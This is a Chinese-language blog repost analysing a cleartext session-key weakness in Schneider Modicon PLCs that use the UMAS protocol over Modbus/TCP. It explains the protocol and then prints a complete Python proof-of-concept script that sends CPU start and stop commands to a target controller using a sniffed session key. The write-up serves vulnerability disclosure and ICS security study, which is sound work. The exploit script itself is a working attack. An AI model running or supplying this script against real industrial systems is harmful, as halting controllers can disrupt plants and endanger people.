漏洞描述
通过漏洞,黑客访问工业控制网络可以拦截目标PLC数据,包括向设备发送管理命令所需的会话密钥。一旦获得明文传输的会话密钥,黑客即可重复请求并添加任意命令,包括启动和停止PLC,更改控制逻辑,以及下载梯形图。
受影响设备型号
- Modicon全系列
- M340
- M580
- Premium
- Quantum
- (Unity OS 2.6版以及更高版本)
UMAS协议
UMAS 表示统一消息传递应用程序服务,它是用于交换应用程序数据的平台独立协议,通信数据使用标准的Modbus协议。
Modbus是Modicon公司在1979年开发的基于消息结构的协议,最早是为Modicon 公司的PLC中使用,后为施耐德电气公司所有。Modbus协议是现今使用的最早和应用最广泛的工业控制系统协议之一。Modbus协议是用于和现场控制器通信的应用层协议。由于它的普及程度,大多数现场控制器都支持Modbus。然而和大多数协议不同,Modbus用于控制命令和设备级通信。Modbus没有定义特定的物理层,这样Modbus的实现不局限于某种通信媒介。工程师可以自由选择最适合的物理介质- 租用线路,专线,射频传输或微波等来传输Modbus数据包。
和很多控制协议一样,Modbus没有包括任何加密机制,尽管它有循环冗余校验(CRC , Cyclical Redundancy Checks) 进行完整性检查。CRC是一种在工业控制系统中常用的验证方法,以检查数据在传输过程中是否有改变。
Modbus共有三种工作模式:Modbus/ASCII,Modbus/RTU,和Modbus/TCP。它们在封装方式上有一些微小的差别,随着以太网的普及,Modbus/TCP 越来越被广泛地使用,下图就是 Modbus/TCP 在协议栈中的位置和封装示意图。
UMAS协议数据格式,如下图所示:
其中Session Key是会话使用的Session值,如果Session值不正确,直接终止通信。FCcode是Modbus协议的功能码,施耐德默认使用0x5a即90作为通信的功能码。下图是Modbus协议标准的功能码。
漏洞分析
通过我们工控安全实验室的实际环境(Sichneider Quantum系列)截取的数据包如下图所示,可以获取通信的Seesion是0xb8:
利用获取的Session通过任意一台电脑可以发送控制CPU启停的命令以及程序上下载如下图所示:
使用Session发送Stop数据包后控制器Cpu进入Stop状态,如下图所示:
POC脚本
#!/usr/bin/env python
import socket
import array
from optparse import OptionParser
import sys
import struct
def banner():
info = ”’……………………………………………….
(__)
(oo)
/——\/ —— V1.0 by ICSMASTER ——
/ | ||
* /\—/\
~~ ~~
…. Good Luck for you today …….
……………………………………………….\r\n”’
print info
def usage():
MSG_USAGE = “umascrack.py [-t <ip>] [-s <session>] [–start/–stop]”
parser = OptionParser(MSG_USAGE)
parser.add_option(“-t”, “–target”, dest=”target”, default=False, help=”The target of umas.”)
parser.add_option(“-s”, “–session”, dest=”session”, default=””, help=”The session of umas [0-255].”)
parser.add_option(‘–start’, action=’store_true’, dest=’cmd’, default=False, help=’The message of start cpu.’),
parser.add_option(‘–stop’, action=’store_false’, dest=’cmd’, help=’The message of stop cpu.’),
(options, args) = parser.parse_args()
if not options.target or not options.session:
parser.print_help()
sys.exit(1)
if int(options.session) > 255:
parser.print_help()
sys.exit(1)
return options
def generate_packet(payload):
rsid = “”
# MBAP array
rsid = array.array(‘B’)
rsid.fromstring(“\x00\x00\x00\x00\x00\x02\x01\x01”)
#set unit id
rsid[6]=1
#set function
rsid[7]=90
# DATA array
packet_data = array.array(‘B’)
packet_data.fromstring(payload)
# add data and update data length
if (packet_data):
rsid += packet_data
#update length
rsid[5]=len(packet_data)+2
print “[+] building packet data: “+str(packet_data)
return rsid
def attack(para):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(float(500) / float(100))
s.connect((str(para.target), 502))
except socket.error:
print “[!] FAILED TO CONNECT”
return
key = struct.pack(‘<B’, int(para.session))
start = key + “\x40\xff\x00”
stop = key + “\x41\xff\x00”
packets = []
if para.cmd:
packets = [start]
else:
packets = [stop]
try:
print “[+] Sending remote commands…\r\n”
for packet in packets:
rsid = generate_packet(packet)
print “[+] Sending packet: “+str(rsid)
s.send(rsid)
except socket.error:
print “[!] FAILED TO SEND”
s.close()
return
s.close()
print “[*] Command sent to target.\r\n\r\n”
def main():
banner()
attack(usage())
if __name__ == ‘__main__’:
main()
本文转载自工匠实验室,本文观点不代表lsh4ck's Blog立场,版权归原作者所有,欢迎分享本文,转载请保留出处!
你好,看了你的关于UMAS的漏洞解析,很受用。我现在正在学习UMAS协议,你能将UMAS的协议和数据包发我一份吗?谢谢啊
@yuan看文末,我是转载的,你可以联系下原作者